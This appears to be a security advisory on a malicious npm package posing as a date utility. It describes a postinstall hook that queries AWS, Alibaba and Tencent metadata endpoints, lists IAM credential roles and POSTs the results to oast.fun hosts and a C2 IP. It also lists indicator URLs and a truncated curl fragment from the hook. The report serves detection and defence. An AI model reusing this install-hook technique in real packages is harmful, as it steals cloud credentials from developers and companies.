GCVE-110-OSM-2026-9591

This package is a cloud credential harvester masquerading as a date utility. The postinstall script in package.json explicitly queries all major cloud provider IMDS endpoints (AWS 169.254.169.254, Alibaba 100.100.100.200, Tencent 169.254.0.23 and metadata.tencentyun.com), collects the results, and exfiltrates them via HTTP POST to two OAST endpoints (ycrqyyjhwepdmhjifyccxss1hrks8lcd2.oast.fun and safjhdvsfwzhieemkdzbgr54r0yjhrmok.oast.fun). The script also specifically targets AWS IAM security credentials by enumerating roles at /latest/meta-data/iam/security-credentials/ and POSTing the credential response — a textbook cloud supply-chain attack seeking to steal short-lived IAM tokens. The postinstall.js additionally collects OS user info (os.userInfo(), os.platform()) and exfiltrates to a hardcoded C2 IP, and comments in the file are written in Chinese referencing SSH private key theft targets. The publisher account is brand new with only two packages (likely a sibling campaign), and the index.js benign facade is a deliberate decoy. ENTRY index.js (main: index.js) - Postinstall Script in package.json: ""postinstall": "curl -s -m 3 http://100.100.100.200/latest/meta-data/ -o /tmp/al..." DESTINATION - 13 exfil (oast, custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in package.json: ".oast.fun" - Suspicious Domain in package.json: "oast.fun" - Network Request in postinstall.js: "https.request(" - System Information Collection in postinstall.js: "os.userInfo()" http://100.100.100.200/latest/meta-data/ http://169.254.169.254/latest/meta-data/ http://metadata.tencentyun.com/latest/meta-data/ http://169.254.0.23/latest/meta-data/ http://ycrqyyjhwepdmhjifyccxss1hrks8lcd2.oast.fun/metadata http://ycrqyyjhwepdmhjifyccxss1hrks8lcd2.oast.fun/data http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE http://safjhdvsfwzhieemkdzbgr54r0yjhrmok.oast.fun/metadata ADDITIONAL FINDINGS - Brand New Package PAYLOAD FILES postinstall.js